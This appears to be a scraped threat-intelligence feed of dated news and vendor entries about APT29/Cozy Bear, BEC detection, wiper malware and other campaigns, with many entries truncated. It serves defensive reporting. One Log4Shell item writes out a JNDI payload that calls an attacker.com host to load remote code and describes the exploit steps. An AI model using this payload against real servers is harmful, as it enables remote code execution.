The Russia-linked APT29 (aka Cozy Bear) threat actor has been attributed to an ongoing cyber espionage campaign targeting foreign ministries and diplomatic entities located in NATO member states, the European Union, and Africa. According to Poland\'s Military Counterintelligence Service and the CERT Polska team, the observed activity shares tactical overlaps with a cluster tracked by Microsoft as |
Threat | APT 29 | ★★ |
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2023-03-17 07:22:00 | APT Profile: Cozy Bear / APT29 (lien direct) | >Advanced Persistent Threat (APT) groups are widely classified as organizations that lead “attacks on a... | Threat Guideline | APT 29 APT 29 | ★★ |
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2022-10-18 08:41:18 | The benefits of taking an intent-based approach to detecting Business Email Compromise (lien direct) |  By Abhishek Singh.BEC is a multi-stage attack. Adversaries first identify targets, then they establish rapport with the victim before exploiting them for whatever their end goal is. In the case of BEC, a threat actor can impersonate any employee in the organization to trick targets. A policy that checks for authorized email addresses of the sender can prevent BEC attacks. However, scaling the approach for every employee in a large organization is a challenge. Building an executive profile based on email analysis using a machine learning model and scanning emails against that profile will detect BEC. Data collection for building and training machine learning algorithms can take time, though, opening a window of opportunity for threat actors to exploit. Detection of exploitation techniques such as lookalike domains and any differences in the email addresses in the "From" and "Reply-to" fields can also detect BEC messages. However, the final verdict cannot account for the threat actor's intent. The intent-based approach detects BEC and then classifies it into the type of scam. It catches BEC messages, irrespective of whether a threat actor is impersonating a C-level executive or any employee in an organization. Classification based on the type of scam can help identify which segment of an organization was targeted and which employees were being impersonated by the threat actor. The additional information will further assist in better designing preventive features to stop BEC. Business email compromise (BEC) is one of the most financially damaging online crimes. As per the internet crime 221 report, the total loss in 2021 due to BEC is around 2.4 billion dollars. Since 2013, BEC has resulted in a 43 billion dollars loss. The report defines BEC as a scam targeting businesses (not individuals) working with foreign suppliers and companies regularly performing wire transfer payments. Fraudsters carry out these sophisticated scams to conduct the unauthorized transfer of funds. This introduces the challenge of how to detect and block these campaigns as they continue to compromise organizations successfully. There are a variety of approaches to identifying BEC email messages, such as using policy to allow emails from authorized email addresses, detecting exploitation techniques used by threat actors, building profiles by analysis of emails, and validating against the profile to detect BEC. These approaches have a variety of limitations or shortcomings. Cisco Talos is taking a different approach and using an intent-based model to identify and block BEC messages. Before we get too deep into the intent-based model, take a deeper look at the commonly used approaches to block BEC from the simplistic through machine learning (ML) approaches. Policy-based detection The first place to start is with policy-based detection as it is one of the most common and simplistic approaches to blocking BEC campaigns. Let's start by looking at an example of a BEC email. |
Threat Medical Cloud | Yahoo Uber APT 38 APT 37 APT 29 APT 19 APT 15 APT 10 | |
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2022-08-30 15:01:00 | Anomali Cyber Watch: First Real-Life Video-Spoofing Attack, MagicWeb Backdoors via Non-Standard Key Identifier, LockBit Ransomware Blames Victim for DDoSing Back, and More (lien direct) | The various threat intelligence stories in this iteration of the Anomali Cyber Watch discuss the following topics: Authentication, DDoS, Fingerprinting, Iran, North Korea, Ransomware, and Russia. The IOCs related to these stories are attached to Anomali Cyber Watch and can be used to check your logs for potential malicious activity.
Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed.
Trending Cyber News and Threat Intelligence
LastPass Hackers Stole Source Code
(published: August 26, 2022)
In August 2022, an unidentified threat actor gained access to portions of the password management giant LastPass development environment. LastPass informed that it happened through a single compromised developer account and the attacker took portions of source code and some proprietary LastPass technical information. The company claims that this incident did not affect customer data or encrypted password vaults.
Analyst Comment: This incident doesn’t seem to have an immediate impact on LastPass users. Still, organizations relying on LastPass should raise the concern in their risk assessment since “white-box hacking” (when source code of the attacking system is known) is easier for threat actors. Organizations providing public-facing software should take maximum measures to block threat actors from their development environment and establish robust and transparent security protocols and practices with all third parties involved in their code development.
Tags: LastPass, Password manager, Data breach, Source code
Mercury Leveraging Log4j 2 Vulnerabilities in Unpatched Systems to Target Israeli
(published: August 25, 2022)
Starting in July 2022, a new campaign by Iran-sponsored group Static Kitten (Mercury, MuddyWater) was detected targeting Israeli organizations. Microsoft researchers detected that this campaign was leveraging exploitation of Log4j 2 vulnerabilities (CVE-2021-45046 and CVE-2021-44228) in SysAid applications (IT management tools). For persistence Static Kitten was dropping webshells, creating local administrator accounts, stealing credentials, and adding their tools in the startup folders and autostart extensibility point (ASEP) registry keys. Overall the group was heavily using various open-source and built-in operating system tools: eHorus remote management software, Ligolo reverse tunneling tool, Mimikatz credential theft tool, PowerShell programs, RemCom remote service, Venom proxy tool, and Windows Management Instrumentation (WMI).
Analyst Comment: Network defenders should monitor for alerts related to web shell threats, suspicious RDP sessions, ASEP registry anomaly, and suspicious account creation. Similarly, SysAid users can monitor for webshells and abnormal processes related to SysAisServer instance. Even though Static Kitten was observed leveraging the Log4Shell vulnerabilities in the past (targeting VMware apps), most of their attacks still start with spearphishing, often from a compromised email account.
MITRE ATT&CK: [MITRE ATT&CK] Exploit Public-Facing Application - T1190 | [MITRE ATT&CK] OS Credential Dumping - T1003 | [MITRE ATT&CK] Phishing - T1566 | |
Ransomware Hack Tool Vulnerability Threat Guideline Cloud | APT 37 APT 29 LastPass | |
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2022-08-25 17:11:38 | Nobelium APT uses new Post-Compromise malware MagicWeb (lien direct) | >Russia-linked APT group Nobelium is behind a new sophisticated post-exploitation malware tracked by Microsoft as MagicWeb. Microsoft security researchers discovered a post-compromise malware, tracked as MagicWeb, which is used by the Russia-linked NOBELIUM APT group to maintain persistent access to compromised environments. The NOBELIUM APT (APT29, Cozy Bear, and The Dukes) is the threat actor that […] | Malware Threat | APT 29 | |
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2022-07-26 17:10:00 | Anomali Cyber Watch: Cozy Bear Abuses Google Drive API, Complex Lightning Framework Targets Linux, Google Ads Hide Fraudulent Redirects, and More (lien direct) | The various threat intelligence stories in this iteration of the Anomali Cyber Watch discuss the following topics: APT, Bots, China, Linux, Malspam, Mobil, Russia, and Spearhishing. The IOCs related to these stories are attached to Anomali Cyber Watch and can be used to check your logs for potential malicious activity.
Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed.
Trending Cyber News and Threat Intelligence
Lightning Framework: New Undetected “Swiss Army Knife” Linux Malware
(published: July 21, 2022)
Intezer researchers discovered a new Linux malware called Lightning Framework (Lightning). It is a modular framework able to install multiple types of rootkits and to run various plugins. Lightning has passive and active capabilities for communication with the threat actor, including opening up SSH service via an OpenSSH daemon, and a polymorphic command and control (C2) configuration. Lightning is a newly discovered threat, and there is no information about its use in the wild and the actors behind it.
Analyst Comment: Defenders should block known Lightning indicators. Monitor for file creation based on the Lightning naming convention.
MITRE ATT&CK: [MITRE ATT&CK] Logon Scripts - T1037 | [MITRE ATT&CK] Account Manipulation - T1098 | [MITRE ATT&CK] Obfuscated Files or Information - T1027 | [MITRE ATT&CK] Deobfuscate/Decode Files or Information - T1140 | [MITRE ATT&CK] Hide Artifacts - T1564 | [MITRE ATT&CK] Masquerading - T1036 | [MITRE ATT&CK] Rootkit - T1014 | [MITRE ATT&CK] Indicator Removal on Host - T1070 | [MITRE ATT&CK] File and Directory Discovery - T1083 | [MITRE ATT&CK] Network Service Scanning - T1046 | [MITRE ATT&CK] Network Sniffing - T1040 | [MITRE ATT&CK] System Information Discovery - T1082 | [MITRE ATT&CK] Data Encoding - T1132 | [MITRE ATT&CK] Standard Non-Application Layer Protocol - T1095 | [MITRE ATT&CK] Proxy - T1090 | [MITRE ATT&CK] Exfiltration Over C2 Channel - T1041
Tags: Lightning Framework, Linux, Lightning.Downloader, Lightning.Core, Typosquatting, Masquerading, Timestomping, Port:33229
Google Ads Lead to Major Malvertising Campaign
(published: July 20, 2022)
Malwarebytes researchers discovered a malvertising campaign abusing Google Search advertisements for popular keywords such as “amazon,” “fac |
Malware Tool Threat Guideline | APT 29 | |
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2022-07-21 10:13:51 | Russian Adversaries Target Google Drive and DropBox in Latest Campaign (lien direct) | Russian adversaries are taking advantage of trusted cloud services, like Google Drive and DropBox, to deliver malware to businesses and governments, according to new research. Researchers at Palo Alto Networks Unit 42 wrote that the threat actor Cloaked Ursula – AKA the Russian government-linked APT29 or Cozy Bear – is increasingly using online storage services […] | Malware Threat | APT 29 | |
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2022-07-19 13:41:49 | Russia-linked APT29 relies on Google Drive, Dropbox to evade detection (lien direct) | >Russia-linked threat actors APT29 are using the Google Drive cloud storage service to evade detection. Palo Alto Networks researchers reported that the Russia-linked APT29 group, tracked by the researchers as Cloaked Ursa, started using the Google Drive cloud storage service to evade detection. The Russia-linked APT29 group (aka SVR, Cozy Bear, and The Dukes) has been active since at least […] | Threat | APT 29 | |
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2022-07-11 22:59:00 | Anomali Cyber Watch: Brute Ratel C4 Framework Abused to Avoid Detection, OrBit Kernel Malware Patches Linux Loader, Hive Ransomware Gets Rewritten, and More (lien direct) | The various threat intelligence stories in this iteration of the Anomali Cyber Watch discuss the following topics: APT, China, Cyberespionage, India, Malspam, Ransomware, Russia, Spearhishing, and Vulnerabilities. The IOCs related to these stories are attached to Anomali Cyber Watch and can be used to check your logs for potential malicious activity.
Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed.
Trending Cyber News and Threat Intelligence
Targets of Interest | Russian Organizations Increasingly Under Attack By Chinese APTs
(published: July 7, 2022)
SentinelLabs researchers detected yet another China-sponsored threat group targeting Russia with a cyberespionage campaign. The attacks start with a spearphishing email containing Microsoft Office maldocs built with the Royal Road malicious document builder. These maldocs were dropping the Bisonal backdoor remote access trojan (RAT). Besides targeted Russian organizations, the same attackers continue targeting other countries such as Pakistan. This China-sponsored activity is attributed with medium confidence to Tonto Team (CactusPete, Earth Akhlut).
Analyst Comment: Defense-in-depth (layering of security mechanisms, redundancy, fail-safe defense processes) is the best way to ensure safety from advanced persistent threats (APTs), including a focus on both network and host-based security. Prevention and detection capabilities should also be in place. Furthermore, all employees should be educated on the risks of spearphishing and how to identify such attempts.
MITRE ATT&CK: [MITRE ATT&CK] Phishing - T1566 | [MITRE ATT&CK] User Execution - T1204 | [MITRE ATT&CK] Exploitation for Client Execution - T1203
Tags: China, source-country:CN, Russia, target-country:RU, Ukraine, Pakistan, target-country:PK, Bisonal RAT, Tonto Team, APT, CactusPete, Earth Akhlut, Royal Road, 8.t builder, CVE-2018-0798
OrBit: New Undetected Linux Threat Uses Unique Hijack of Execution Flow
(published: July 6, 2022)
Intezer researchers describe a new Linux malware dubbed OrBit, that was fully undetected at the time of the discovery. This malware hooks functions and adds itself to all running processes, but it doesn’t use LD_PRELOAD as previously described Linux threats. Instead it achieves persistence by adding the path to the malware into the /etc/ld.so.preload and by patching the binary of the loader itself so it will load the malicious shared object. OrBit establishes an SSH connection, then stages and infiltrates stolen credentials. It avoids detection by multiple functions that show running processes or network connections, as it hooks these functions and filters their output.
Analyst Comment: Defenders are advised to use network telemetry to detect anomalous SSH traffic associated with OrBit exfiltration attempts. Consider network segmentation, storing sensitive data offline, and deploying security solutions as statically linked executables.
MITRE ATT&CK: [MITRE ATT&CK] Hijack Execution Flow - T1574 | [MITRE ATT&CK] Hide Artifacts - T1564 | |
Ransomware Malware Tool Vulnerability Threat Patching | APT 29 | |
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2022-07-06 05:27:10 | Near-undetectable malware linked to Russia\'s Cozy Bear (lien direct) | The fun folk who attacked Solar Winds using a poisoned CV and tools from the murky world of commercial hackware Palo Alto Networks' Unit 42 threat intelligence team has claimed that a piece of malware that 56 antivirus products were unable to detect is evidence that state-backed attackers have found new ways to go about the evil business.… | Malware Tool Threat | APT 29 | |
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2022-05-10 17:08:00 | Anomali Cyber Watch: Moshen Dragon Abused Anti-Virus Software, Raspberry Robin Worm Jumps from USB, UNC3524 Uses Internet-of-Things to Steal Emails, and More (lien direct) | The various threat intelligence stories in this iteration of the Anomali Cyber Watch discuss the following topics: APT, Cyberespionage, Phishing, Ransomware, Sideloading, and Ukraine. The IOCs related to these stories are attached to Anomali Cyber Watch and can be used to check your logs for potential malicious activity.
Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed.
Trending Cyber News and Threat Intelligence
Attackers Are Attempting to Exploit Critical F5 BIG-IP RCE
(published: May 9, 2022)
CVE-2022-1388, a critical remote code execution vulnerability affecting F5 BIG-IP multi-purpose networking devices/modules, was made public on May 4, 2022. It is of high severity (CVSSv3 score is 9.8). By May 6, 2022, multiple researchers have developed proof-of concept (PoC) exploits for CVE-2022-1388. The first in-the-wild exploitation attempts were reported on May 8, 2022.
Analyst Comment: Update your vulnerable F5 BIG-IP versions 13.x and higher. BIG-IP 11.x and 12.x will not be fixed, but temporary mitigations available: block iControl REST access through the self IP address and through the management interface, modify the BIG-IP httpd configuration.
MITRE ATT&CK: [MITRE ATT&CK] Exploit Public-Facing Application - T1190
Tags: CVE-2022-1388, F5, Vulnerability, Remote code execution, Missing authentication
Mobile Subscription Trojans and Their Little Tricks
(published: May 6, 2022)
Kaspersky researchers analyzed five Android trojans that are secretly subscribing users to paid services. Jocker trojan operators add malicious code to legitimate apps and re-upload them to Google Store under different names. To avoid detection, malicious functionality won’t start until the trojan checks that it is available in the store. The malicious payload is split in up to four files. It can block or substitute anti-fraud scripts, and modify X-Requested-With header in an HTTP request. Another Android malware involved in subscription fraud, MobOk trojan, has additional functionality to bypass captcha. MobOk was seen in a malicious app in Google Store, but the most common infection vector is being spread by other Trojans such as Triada.
Analyst Comment: Limit your apps to downloads from the official stores (Google Store for Android), avoid new apps with low number of downloads and bad reviews. Pay attention to the terms of use and payment. Avoid granting it too many permissions if those are not crucial to the app alleged function. Monitor your balance and subscription list.
MITRE ATT&CK: [MITRE ATT&CK] Ingress Tool Transfer - T1105 | [MITRE ATT&CK] User Execution - T1204 | [MITRE ATT&CK] Data Manipulation - T1565
Tags: Android, Jocker, MobOk, Triada, Vesub, GriftHorse, Trojan, Subscription fraud, Subscription Trojan, Russia, target-country:RU, Middle East, Saudi Arabia, target-country:SA, Egypt, target-country:EG, Thailand, target-country:TH
Raspberry Robin Gets the Worm Early
(published: May 5, 2022)
Since September 2021, Red Canary researchers monitor Raspberry Robin, a new worm |
Ransomware Malware Tool Vulnerability Threat | APT 29 APT 28 | ★★★ |
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2022-05-05 13:08:59 | Cozy Bear Goes Typosquatting (lien direct) |
Researchers at Recorded Future's Insikt Group warn that the Russian threat actor NOBELIUM (also known as APT29 or Cozy Bear) is using typosquatting domains to target the news and media industries with phishing pages. |
Threat | APT 29 | |
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2022-05-02 09:30:00 | UNC3524: Eye Spy sur votre e-mail UNC3524: Eye Spy on Your Email (lien direct) |
Mise à jour (novembre 2022): Nous avons fusionné UNC3524 avec APT29. L'activité UNC3524 décrite dans ce post est désormais attribuée à APT29.
Depuis décembre 2019, Mandiant a observé que les acteurs avancés des menaces augmentent leur investissement dans des outils pour faciliter la collecte de courriels en vrac dans les environnements de victime, en particulier en ce qui concerne leur soutien aux objectifs d'espionnage présumés.Les e-mails et leurs pièces jointes offrent une riche source d'informations sur une organisation, stockée dans un emplacement centralisé pour les acteurs de menace à collecter.La plupart des systèmes de messagerie, qu'ils soient sur site ou dans le cloud, offrent
UPDATE (November 2022): We have merged UNC3524 with APT29. The UNC3524 activity described in this post is now attributed to APT29. Since December 2019, Mandiant has observed advanced threat actors increase their investment in tools to facilitate bulk email collection from victim environments, especially as it relates to their support of suspected espionage objectives. Email messages and their attachments offer a rich source of information about an organization, stored in a centralized location for threat actors to collect. Most email systems, whether on-premises or in the cloud, offer |
Tool Threat | APT 29 | ★★ |
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2022-05-02 04:40:01 | Russian Hackers Targeting Diplomatic Entities in Europe, Americas, and Asia (lien direct) | A Russian state-sponsored threat actor has been observed targeting diplomatic and government entities as part of a series of phishing campaigns commencing on January 17, 2022. Threat intelligence and incident response firm Mandiant attributed the attacks to a hacking group tracked as APT29 (aka Cozy Bear), with some set of the activities associated with the crew assigned the moniker Nobelium ( | Threat | APT 29 | |
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2022-04-01 11:12:27 | Bypassing Two-Factor Authentication (lien direct) | These techniques are not new, but they’re increasingly popular: …some forms of MFA are stronger than others, and recent events show that these weaker forms aren’t much of a hurdle for some hackers to clear. In the past few months, suspected script kiddies like the Lapsus$ data extortion gang and elite Russian-state threat actors (like Cozy Bear, the group behind the SolarWinds hack) have both successfully defeated the protection. […] Methods include: Sending a bunch of MFA requests and hoping the target finally accepts one to make the noise stop. ... | Threat | APT 29 | |
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2022-03-15 13:20:59 | (Déjà vu) Additional Wiper Malware Deployed in Ukraine #CaddyWiper (lien direct) | FortiGuard Labs is aware of new wiper malware observed in the wild attacking Ukrainian interests. The wiper was found by security researchers today at ESET. The wiper is dubbed CaddyWiper. Preliminary analysis reveals that the wiper malware erases user data and partition information from attached drives. According to the tweet, CaddyWiper does not share any code with HermeticWiper or IsaacWiper or any known malware families.This is a breaking news event. More information will be added when relevant updates are available.For further reference about Ukrainian wiper attacks please reference our Threat Signal from January and February. Also, please refer to our recent blog that encompasses the recent escalation in Ukraine, along with salient advice about patch management and why it is important, especially in today's political climate.Is this the Work of Nobelium/APT29?At this time, there is not enough information to correlate this to Nobelium/APT29 or nation state activity. Was this Sample Signed?No. Unlike the HermeticWiper sample related to Ukrainian attacks, this sample is unsigned.Why is Malware Signed?Malware is often signed by threat actors as a pretense to evade AV or any other security software. Signed malware allows threat actors to evade and effectively bypass detection, guaranteeing a higher success rate. What is the Status of Coverage?FortiGuard Labs has AV coverage in place for publicly available samples as:W32/CaddyWiper.NCX!tr | Malware Threat | APT 29 | |
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2022-02-25 00:05:00 | Anomali Threat Research Provides Russian Cyber Activity Dashboard (lien direct) | Russian government-sponsored threat actors recently increased their malicious activities[1], which are aligned with Russia’s attack on Ukraine in February 2022.
Russian retaliation for ongoing economic and diplomatic sanctions imposed by many other countries poses a significant risk of further escalation in the cyber sphere. Russian government-sponsored groups are dangerous cyber-actors that are well-resourced and relentless in their attacks, which include espionage, attacks on critical infrastructure, data destruction, and other malicious activities.
To assist our customers, Anomali has released a dashboard focused on Russian-origin actors and Russian cyber activity for ThreatStream users, titled “Russian Cyber Activity.”
The Anomali Threat Research team preconfigured this custom dashboard to provide immediate access and visibility into all known Russian government-related indicators of compromise (IOCs) made available through commercial and open-source threat feeds that users manage on Anomali ThreatStream.
Russian Cyber Activity is focused on seven threat actor groups: Six groups are well-known Russian advanced persistent threat (APT) groups: Berserk Bear, Cozy Bear (APT29), Fancy Bear (APT28), Gamaredon (Primitive Bear), Turla (Venomous Bear), and Voodoo Bear (Sandworm).
Additionally, we’ve included Evil Corp (Dridex, Indrik Spider) group. Although typically financially motivated, its leader is known to work for Russia’s Federal Security Services (FSB) and has conducted cyber operations on behalf of the Russian government.[2]
Anomali customers using ThreatStream, Match, and Lens are able to immediately detect any IOCs present in their environments and quickly consume threat bulletins containing machine-readable IOCs. This enables analysts to quickly operationalize threat intelligence across their security infrastructures, as well as communicate to all stakeholders if and how they have been impacted.
Anomali recently added thematic dashboards that respond to significant global events as part of ongoing product enhancements that further automate and speed essential tasks performed by threat intelligence and security operations analysts. In addition to Russian Cyber Activity, ThreatStream customers currently have access to multiple dashboards announced as part of our recent quarterly product release.
Customers can easily integrate the Russian Cyber Activity dashboard, among others, in the “+ Add Dashboard” tab in the ThreatStream console:
Endnotes
[1] “Attack on Ukrainian Government Websites Linked to GRU Hackers,” Bellingcat Investigation Team, accessed February 24, 2022, published February 23, 2022, https://www.bellingcat.com/news/2022/02/23/attack-on-ukrainian-government-websites-linked-to-russian-gru-hackers/; Joe Tidy “Ukraine crisis: 'Wiper' discovered in latest cyber-attacks,” BBC News, accessed February 24, 2022, published February 24, 2022, https://www.bbc.com/news/technology-60500618.
[2] “Treasury Sanctions Evil Corp, the Russia-Based Cybercriminal Group Behind Dridex Malware,” The U.S. Department of the Treasury, accessed February 24, 2022, published December 5, 2019, https://home.treasury.gov/news/press-releases/sm845. |
Threat Guideline | APT 29 APT 29 APT 28 | |
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2022-02-23 18:34:00 | New Wiper Malware Discovered Targeting Ukrainian Interests (lien direct) | FortiGuard Labs is aware of new wiper malware observed in the wild attacking Ukrainian interests. The wiper was found by security researchers today at ESET. Various estimates from both outfits reveal that the malware wiper has been installed on several hundreds of machines within the Ukraine. Cursory analysis reveals that wiper malware contains a valid signed certificate that belongs to an entity called "Hermetica Digital" based in Cyprus. This is a breaking news event. More information will be added when relevant updates are available. For further reference about Ukrainian wiper attacks please reference our Threat Signal from January. Also, please refer to our most recent blog that encompasses the recent escalation in Ukraine, along with salient advice about patch management and why it is important, especially in today's political climate. Is this the Work of Nobelium/APT29?At this time, there is not enough information to correlate this to Nobelium/APT29 or nation state activity. Are there Other Samples Observed Using the Same Certificate?No. Cursory analysis at this time highlights that the Hermetica Digital certificate used by this malware sample is the only one that we are aware of at this time. Was the Certificate Stolen?Unknown at this time. As this is a breaking news event, information is sparse. Why is the Malware Signed?Malware is often signed by threat actors as a pretence to evade AV or any other security software. Signed malware allows for threat actors to evade and effectively bypass detection and guaranteeing a higher success rate. What is the Status of Coverage?FortiGuard Labs has AV coverage in place for publicly available samples as:W32/KillDisk.NCV!tr | Malware Threat | APT 29 | |
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2022-02-09 02:46:33 | Russian APT Hackers Used COVID-19 Lures to Target European Diplomats (lien direct) | The Russia-linked threat actor known as APT29 targeted European diplomatic missions and Ministries of Foreign Affairs as part of a series of spear-phishing campaigns mounted in October and November 2021. According to ESET's T3 2021 Threat Report shared with The Hacker News, the intrusions paved the way for the deployment of Cobalt Strike Beacon on compromised systems, followed by leveraging the | Threat | APT 29 | |
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2022-02-08 16:00:00 | Anomali Cyber Watch: Conti Ransomware Attack, Iran-Sponsored APTs, New Android RAT, Russia-Sponsored Gamaredon, and More (lien direct) | The various threat intelligence stories in this iteration of the Anomali Cyber Watch discuss the following topics: APT, Cyberespionage, Data breach, RATs, SEO poisoning, and Spearphishing. The IOCs related to these stories are attached to Anomali Cyber Watch and can be used to check your logs for potential malicious activity.
Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed.
Trending Cyber News and Threat Intelligence
New CapraRAT Android Malware Targets Indian Government and Military Personnel
(published: February 7, 2022)
Trend Micro researchers have discovered a new remote access trojan (RAT) dubbed, CapraRAT, that targets Android systems. CapraRAT is attributed to the advanced persistent threat (APT) group, APT36 (Earth Karkaddan, Mythic Leopard, Transparent Tribe), which is believed to be Pakistan-based group that has been active since at least 2016. The Android-targeting CapraRAT shares similarities (capabilities, commands, and function names) to the Windows targeting Crimson RAT, and researchers note that it may be a modified version of the open source AndroRAT. The delivery method of CapraRAT is unknown, however, APT36 is known to use spearphishing emails with attachments or links. Once CapraRAT is installed and executed it will attempt to reach out to a command and control server and subsequently begin stealing various data from an infected device.
Analyst Comment: It is important to only use the Google Play Store to obtain your software (for Android users), and avoid installing software from unverified sources because it is easier for malicious applications to get into third-party stores. Applications that ask for additional permissions outside of their normal functionality should be treated with suspicion, and normal functionality for the applications should be reviewed carefully prior to installation. Antivirus applications, if available, should be installed devices.
MITRE ATT&CK: [MITRE ATT&CK] Phishing - T1566 | [MITRE ATT&CK] User Execution - T1204 | [MITRE ATT&CK] Software Deployment Tools - T1072
Tags: APT36, Earth Karkaddan, Mythic Leopard, Transparent Tribe, Android, CapraRAT
Russia’s Gamaredon aka Primitive Bear APT Group Actively Targeting Ukraine
(published: February 3, 2022)
The Russia-sponsored, cyberespionage group Primitive Bear (Gamaredon) has continued updating its toolset, according to Unit 42 researchers. The group continues to use their primary tactic in spearphishing emails with attachments that leverage remote templates and template injection with a focus on Ukraine. These email attachments are usually Microsoft Word documents that use the remote template to fetch VBScript, execute it to establish persistence, and wait for the group’s instruction via a command and control server. Unit 42 researchers have analyzed the group’s activity and infrastructure dating back to 2018 up to the current border tensions between Russia and Ukraine. The infrastructure behind the campaigns is robust, with clusters of domains that are rotated and parked on different IPs, often on a daily basis.
Analyst Comment: Spearphishing emails represent a significant security risk because the sending email will often appear legitimate to the target; sometimes a target company email is compromis |
Ransomware Malware Threat Conference | APT 35 APT 35 APT 29 APT 29 APT 36 | ★★ |
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2022-01-19 22:45:00 | Anomali Cyber Watch: Russia-Sponsored Cyber Threats, China-Based Earth Lusca Active in Cyberespionage and Cybertheft, BlueNoroff Hunts Cryptocurrency-Related Businesses, and More (lien direct) | The various threat intelligence stories in this iteration of the Anomali Cyber Watch discuss the following topics: APT, China, HTTP Stack, Malspam, North Korea, Phishing, Russia and Vulnerabilities. The IOCs related to these stories are attached to Anomali Cyber Watch and can be used to check your logs for potential malicious activity.
Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed.
Trending Cyber News and Threat Intelligence
Earth Lusca Employs Sophisticated Infrastructure, Varied Tools and Techniques
(published: January 17, 2022)
The Earth Lusca threat group is part of the Winnti cluster. It is one of different Chinese groups that share aspects of their tactics, techniques, and procedures (TTPs) including the use of Winnti malware. Earth Lusca were active throughout 2021 committing both cyberespionage operations against government-connected organizations and financially-motivated intrusions targeting gambling and cryptocurrency-related sectors. For intrusion, the group tries different ways in including: spearphishing, watering hole attacks, and exploiting publicly facing servers. Cobalt Strike is one of the group’s preferred post-exploitation tools. It is followed by the use of the BioPass RAT, the Doraemon backdoor, the FunnySwitch backdoor, ShadowPad, and Winnti. The group employs two separate infrastructure clusters, first one is rented Vultr VPS servers used for command-and-control (C2), second one is compromised web servers used to scan for vulnerabilities, tunnel traffic, and Cobalt Strike C2.
Analyst Comment: Earth Lusca often relies on tried-and-true techniques that can be stopped by security best practices, such as avoiding clicking on suspicious email/website links and or reacting on random banners urging to update important public-facing applications. Don’t be tricked to download Adobe Flash update, it was discontinued at the end of December 2020. Administrators should keep their important public-facing applications (such as Microsoft Exchange and Oracle GlassFish Server) updated.
MITRE ATT&CK: [MITRE ATT&CK] Drive-by Compromise - T1189 | [MITRE ATT&CK] Exploit Public-Facing Application - T1190 | [MITRE ATT&CK] Phishing - T1566 | [MITRE ATT&CK] Command and Scripting Interpreter - T1059 | [MITRE ATT&CK] Scheduled Task - T1053 | [MITRE ATT&CK] System Services - T1569 | [MITRE ATT&CK] Windows Management Instrumentation - T1047 | [MITRE ATT&CK] Account Manipulation - T1098 | [MITRE ATT&CK] BITS Jobs - T1197 | [MITRE ATT&CK] Create Account - T1136 | [MITRE ATT&CK] Create or Modify System Process - T1543 | [MITRE ATT&CK] External Remote Services - T1133 | [MITRE ATT&CK] Hijack Execution Flow |
Ransomware Malware Tool Vulnerability Threat Patching Guideline | APT 41 APT 38 APT 29 APT 28 APT 28 | |
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2021-12-15 16:00:00 | Anomali Cyber Watch: Apache Log4j Zero-Day Exploit, Google Fighting Glupteba Botnet, Vixen Panda Targets Latin America and Europe, and More (lien direct) | The various threat intelligence stories in this iteration of the Anomali Cyber Watch discuss the following topics: Apache, Botnets, China, Espionage, Java, Russia, USB, and Vulnerabilities. The IOCs related to these stories are attached to Anomali Cyber Watch and can be used to check your logs for potential malicious activity.
Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed.
Trending Cyber News and Threat Intelligence
Countless Servers Are Vulnerable to Apache Log4j Zero-Day Exploit
(published: December 10, 2021)
A critical vulnerability, registered as CVE-2021-44228, has been identified in Apache Log4j 2, which is an open source Java package used to enable logging in. The Apache Software Foundation (ASF) rates the vulnerability as a 10 on the common vulnerability scoring system (CVSS) scale. Cisco Talos has observed malicious activity related to CVE-2021-44228 beginning on December 2, 2021. This vulnerability affects millions of users and exploitation proof-of-concept code exists via LunaSec explains how to exploit it in five simple steps. These include: 1: Data from the User gets sent to the server (via any protocol). 2: The server logs the data in the request, containing the malicious payload: ${jndi:ldap://attacker.com/a} (where attacker.com is an attacker controlled server). 3: The Log4j vulnerability is triggered by this payload and the server makes a request to attacker.com via "Java Naming and Directory Interface" (JNDI). 4: This response contains a path to a remote Java class file (ex. http://second-stage.attacker.com/Exploit.class) which is injected into the server process. 5: This injected payload triggers a second stage, and allows an attacker to execute arbitrary code.
Analyst Comment: Log4j version 2.15.0 has been released to address this vulnerability, however, it only changes a default setting (log4j2.formatMsgNoLookups) from false to true. This means that if the setting is set back to false, Log4j will again be vulnerable to exploitation. The initial campaigns could have been detected by filtering on certain keywords such as "ldap", "jndi", but this detection method is easily bypassable.
MITRE ATT&CK: [MITRE ATT&CK] Exploit Public-Facing Application - T1190 | [MITRE ATT&CK] Exploitation for Client Execution - T1203 | [MITRE ATT&CK] Command and Scripting Interpreter - T1059 | [MITRE ATT&CK] Remote Services - T1021 | [MITRE ATT&CK] OS Credential Dumping - T1003 | [MITRE ATT&CK] Resource Hijacking - T1496 | [MITRE ATT&CK] Network Denial of Service - T1498
Tags: Log4j, CVE-2021-44228, Log4j2, Log4Shell, Apache, Zero-day, Java, Jndi, Class file
Over a Dozen Malicious NPM Packages Caught Hijacking Discord Servers
(published: December 8, 2021)
Researchers from the DevOps firm JFrog has found at least 17 malicious packages on the open source npm Registry for JavaScript. The names of the packages are: prerequests-xcode (version 1.0.4), discord-selfbot-v14 (version 12.0.3), discord-lofy (version 11.5.1), discordsystem (version 11.5.1), discord-vilao (version 1.0.0), fix-error (version 1 |
Malware Tool Vulnerability Threat Cloud | APT 37 APT 29 APT 15 APT 15 APT 25 | |
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2021-12-07 07:54:37 | Nobelium continues to target organizations worldwide with custom malware (lien direct) | Russia-linked Nobelium APT group is using a new custom malware dubbed Ceeloader in attacks against organizations worldwide. Mandiant researchers have identified two distinct clusters of activity, tracked UNC3004 and UNC2652, that were associated with the Russia-linked Nobelium APT group (aka UNC2452). The NOBELIUM APT (APT29, Cozy Bear, and The Dukes) is the threat actor that conducted […] | Malware Threat | APT 29 | |
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2021-12-06 10:00:00 | Activité russe présumée ciblant le gouvernement et les entités commerciales du monde entier Suspected Russian Activity Targeting Government and Business Entities Around the Globe (lien direct) |
Mise à jour (mai 2022): Nous avons fusionné unc2452 avec apt29 .L'activité UNC2452 décrite dans ce post est désormais attribuée à APT29.
